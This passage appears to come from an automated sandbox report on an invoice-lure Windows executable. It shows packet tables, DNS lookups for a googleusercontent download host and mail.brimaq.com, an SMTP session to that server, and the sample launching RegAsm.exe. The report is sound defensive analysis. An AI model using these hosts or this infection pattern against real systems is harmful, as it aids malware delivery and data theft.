                  Apr 8, 2021 12:59:54.392446041 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.392452955 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.392482996 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.392519951 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.392527103 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.392561913 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.392625093 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.393167019 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.393331051 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.393786907 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.393805027 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.393881083 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.394012928 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394205093 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.394249916 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394265890 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394280910 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394305944 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.394321918 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.394427061 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394520998 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.394891024 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394918919 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394934893 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.394949913 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.394985914 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.394998074 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.395015001 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.395030975 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.395062923 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.395076990 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.396173000 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.396192074 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.396256924 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.396265030 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.396331072 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.396523952 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.396608114 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.396627903 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.396634102 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.396650076 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.396660089 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.396675110 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.396702051 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.397171021 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.397257090 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.397278070 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.397321939 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.397325039 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.397337914 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.397351027 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.397376060 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.397408962 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.397897005 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.397998095 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398022890 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398066044 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.398096085 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.398263931 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398322105 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.398329973 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398387909 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398394108 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.398444891 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398446083 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.398502111 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.398854017 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398869991 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398929119 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.398960114 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398977041 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.398997068 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.399029970 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.399049997 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.399051905 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.399168015 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.399683952 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.399748087 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.399801016 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.399820089 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.399876118 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.400065899 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400106907 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400121927 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400154114 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.400187016 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.400202990 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400247097 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.400595903 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400788069 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400801897 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.400804996 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400820971 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400826931 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.400837898 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400851011 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.400863886 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.400902033 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.401879072 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402004004 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402019024 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402020931 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.402076960 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.402245045 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402261972 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402282953 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402297974 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402316093 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.402343035 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.402939081 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402956963 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402977943 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.402993917 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.403012037 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.403012991 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.403027058 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.403038979 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.403091908 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.403693914 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.403789043 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.405122042 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405137062 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405219078 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405220032 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.405231953 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405263901 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405266047 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.405309916 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.405522108 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405535936 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405587912 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.405666113 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405678988 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405699968 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405713081 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405734062 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.405739069 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.405775070 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.405800104 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.406239986 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.406255007 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.406306982 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.406311035 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.406364918 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.406547070 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.406559944 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.406584978 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.406596899 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.406618118 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.406656027 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.407231092 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.407246113 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.407319069 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.407382011 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.407394886 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.407422066 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.407444000 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.407474041 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.407474041 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.407507896 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.407562017 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.408088923 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.408112049 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.408130884 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.408154011 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.408168077 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.408171892 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.408185005 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.408200026 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.408200979 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.408233881 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.408258915 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.409272909 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.409370899 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 13:01:29.836757898 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:29.880373955 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:29.880652905 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:29.992228985 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:29.992747068 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.036658049 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.037194967 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.085578918 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.092257977 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.149180889 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.149209023 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.149223089 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.149626017 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.157768965 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.203007936 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.233402967 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.277302027 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.279162884 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.323797941 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.324767113 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.373774052 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.375024080 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.419004917 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.419707060 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.501738071 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.502377033 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.546047926 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.548486948 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.548702002 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.549401999 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.549504995 CEST49751587192.168.2.678.128.8.31
                  Apr 8, 2021 13:01:30.594024897 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.594069958 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.594230890 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.594257116 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.613635063 CEST5874975178.128.8.31192.168.2.6
                  Apr 8, 2021 13:01:30.653312922 CEST49751587192.168.2.678.128.8.31

                  UDP Packets

                  TimestampSource PortDest PortSource IPDest IP
                  Apr 8, 2021 12:59:31.325407982 CEST6426753192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:31.338635921 CEST53642678.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:31.957942009 CEST4944853192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:31.970499992 CEST53494488.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:34.149878025 CEST6034253192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:34.163836002 CEST53603428.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:35.499371052 CEST6134653192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:35.513375044 CEST53613468.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:36.672579050 CEST5177453192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:36.684636116 CEST53517748.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:37.636022091 CEST5602353192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:37.648880005 CEST53560238.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:38.655216932 CEST5838453192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:38.668001890 CEST53583848.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:50.976676941 CEST6026153192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:50.988904953 CEST53602618.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:53.282546043 CEST5606153192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:53.308614016 CEST53560618.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:54.047566891 CEST5833653192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:54.074717999 CEST53583368.8.8.8192.168.2.6
                  Apr 8, 2021 12:59:56.837440014 CEST5378153192.168.2.68.8.8.8
                  Apr 8, 2021 12:59:56.857350111 CEST53537818.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:08.197259903 CEST5406453192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:08.212652922 CEST53540648.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:09.260449886 CEST5281153192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:09.273159981 CEST53528118.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:10.023032904 CEST5529953192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:10.035923958 CEST53552998.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:13.818162918 CEST6374553192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:13.831867933 CEST53637458.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:16.318934917 CEST5005553192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:16.385103941 CEST53500558.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:16.939888954 CEST6137453192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:16.952446938 CEST53613748.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:17.401299000 CEST5033953192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:17.414516926 CEST53503398.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:17.548805952 CEST6330753192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:17.561593056 CEST53633078.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:17.919332027 CEST4969453192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:17.933033943 CEST53496948.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:18.206734896 CEST5498253192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:18.233263016 CEST53549828.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:18.381154060 CEST5001053192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:18.394428015 CEST53500108.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:18.676812887 CEST6371853192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:18.689332962 CEST53637188.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:18.810220003 CEST6211653192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:18.823066950 CEST53621168.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:19.197959900 CEST6381653192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:19.257272959 CEST53638168.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:19.876759052 CEST5501453192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:19.890892029 CEST53550148.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:20.724663019 CEST6220853192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:20.737973928 CEST53622088.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:21.184771061 CEST5757453192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:21.198182106 CEST53575748.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:21.658407927 CEST5181853192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:21.807991982 CEST53518188.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:29.075272083 CEST5662853192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:29.094196081 CEST53566288.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:35.899086952 CEST6077853192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:35.912130117 CEST53607788.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:36.710695982 CEST5379953192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:36.723328114 CEST53537998.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:37.692277908 CEST5468353192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:37.704863071 CEST53546838.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:38.838335991 CEST5932953192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:38.851082087 CEST53593298.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:41.063921928 CEST6402153192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:41.076550007 CEST53640218.8.8.8192.168.2.6
                  Apr 8, 2021 13:00:54.385833025 CEST5612953192.168.2.68.8.8.8
                  Apr 8, 2021 13:00:54.399205923 CEST53561298.8.8.8192.168.2.6
                  Apr 8, 2021 13:01:00.012593031 CEST5817753192.168.2.68.8.8.8
                  Apr 8, 2021 13:01:00.025682926 CEST53581778.8.8.8192.168.2.6
                  Apr 8, 2021 13:01:02.281184912 CEST5070053192.168.2.68.8.8.8
                  Apr 8, 2021 13:01:02.294496059 CEST53507008.8.8.8192.168.2.6
                  Apr 8, 2021 13:01:29.743458033 CEST5406953192.168.2.68.8.8.8
                  Apr 8, 2021 13:01:29.796550989 CEST53540698.8.8.8192.168.2.6
                  Apr 8, 2021 13:01:29.808728933 CEST6117853192.168.2.68.8.8.8
                  Apr 8, 2021 13:01:29.821937084 CEST53611788.8.8.8192.168.2.6

                  DNS Queries

                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                  Apr 8, 2021 12:59:54.047566891 CEST192.168.2.68.8.8.80xeb1aStandard query (0)doc-0s-1k-docs.googleusercontent.comA (IP address)IN (0x0001)
                  Apr 8, 2021 13:01:29.743458033 CEST192.168.2.68.8.8.80x5d4Standard query (0)mail.brimaq.comA (IP address)IN (0x0001)
                  Apr 8, 2021 13:01:29.808728933 CEST192.168.2.68.8.8.80x5f64Standard query (0)mail.brimaq.comA (IP address)IN (0x0001)

                  DNS Answers

                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                  Apr 8, 2021 12:59:54.074717999 CEST8.8.8.8192.168.2.60xeb1aNo error (0)doc-0s-1k-docs.googleusercontent.comgooglehosted.l.googleusercontent.comCNAME (Canonical name)IN (0x0001)
                  Apr 8, 2021 12:59:54.074717999 CEST8.8.8.8192.168.2.60xeb1aNo error (0)googlehosted.l.googleusercontent.com172.217.168.33A (IP address)IN (0x0001)
                  Apr 8, 2021 13:01:29.796550989 CEST8.8.8.8192.168.2.60x5d4No error (0)mail.brimaq.combrimaq.comCNAME (Canonical name)IN (0x0001)
                  Apr 8, 2021 13:01:29.796550989 CEST8.8.8.8192.168.2.60x5d4No error (0)brimaq.com78.128.8.31A (IP address)IN (0x0001)
                  Apr 8, 2021 13:01:29.821937084 CEST8.8.8.8192.168.2.60x5f64No error (0)mail.brimaq.combrimaq.comCNAME (Canonical name)IN (0x0001)
                  Apr 8, 2021 13:01:29.821937084 CEST8.8.8.8192.168.2.60x5f64No error (0)brimaq.com78.128.8.31A (IP address)IN (0x0001)

                  HTTPS Packets

                  TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                  Apr 8, 2021 12:59:54.113456011 CEST172.217.168.33443192.168.2.649717CN=*.googleusercontent.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=USCN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Tue Mar 16 20:32:57 CET 2021 Thu Jun 15 02:00:42 CEST 2017Tue Jun 08 21:32:56 CEST 2021 Wed Dec 15 01:00:42 CET 2021771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                  CN=GTS CA 1O1, O=Google Trust Services, C=USCN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2Thu Jun 15 02:00:42 CEST 2017Wed Dec 15 01:00:42 CET 2021

                  SMTP Packets

                  TimestampSource PortDest PortSource IPDest IPCommands
                  Apr 8, 2021 13:01:29.992228985 CEST5874975178.128.8.31192.168.2.6220-srvr.laprimeracloud08.com ESMTP Exim 4.94 #2 Thu, 08 Apr 2021 13:01:30 +0200
                  220-We do not authorize the use of this system to transport unsolicited,
                  220 and/or bulk e-mail.
                  Apr 8, 2021 13:01:29.992747068 CEST49751587192.168.2.678.128.8.31EHLO 910646
                  Apr 8, 2021 13:01:30.036658049 CEST5874975178.128.8.31192.168.2.6250-srvr.laprimeracloud08.com Hello 910646 [185.32.222.8]
                  250-SIZE 52428800
                  250-8BITMIME
                  250-PIPELINING
                  250-X_PIPE_CONNECT
                  250-AUTH PLAIN LOGIN
                  250-STARTTLS
                  250 HELP
                  Apr 8, 2021 13:01:30.037194967 CEST49751587192.168.2.678.128.8.31STARTTLS
                  Apr 8, 2021 13:01:30.085578918 CEST5874975178.128.8.31192.168.2.6220 TLS go ahead

                  Code Manipulations

                  Statistics

                  CPU Usage

                  Click to jump to process

                  Memory Usage

                  Click to jump to process

                  High Level Behavior Distribution

                  Click to dive into process behavior distribution

                  Behavior

                  Click to jump to process

                  System Behavior

                  General

                  Start time:12:59:27
                  Start date:08/04/2021
                  Path:C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe
                  Wow64 process (32bit):true
                  Commandline:'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe'
                  Imagebase:0x400000
                  File size:126976 bytes
                  MD5 hash:AC62EBBBF6EC96F48A8CCA64793BF8FB
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:Visual Basic
                  Reputation:low

                  General

                  Start time:12:59:40
                  Start date:08/04/2021
                  Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  Wow64 process (32bit):false
                  Commandline:'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe'
                  Imagebase:0xb0000
                  File size:64616 bytes
                  MD5 hash:6FD7592411112729BF6B1F2F6C34899F
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Start time:12:59:40
                  Start date:08/04/2021
                  Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  Wow64 process (32bit):true
                  Commandline:'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe'
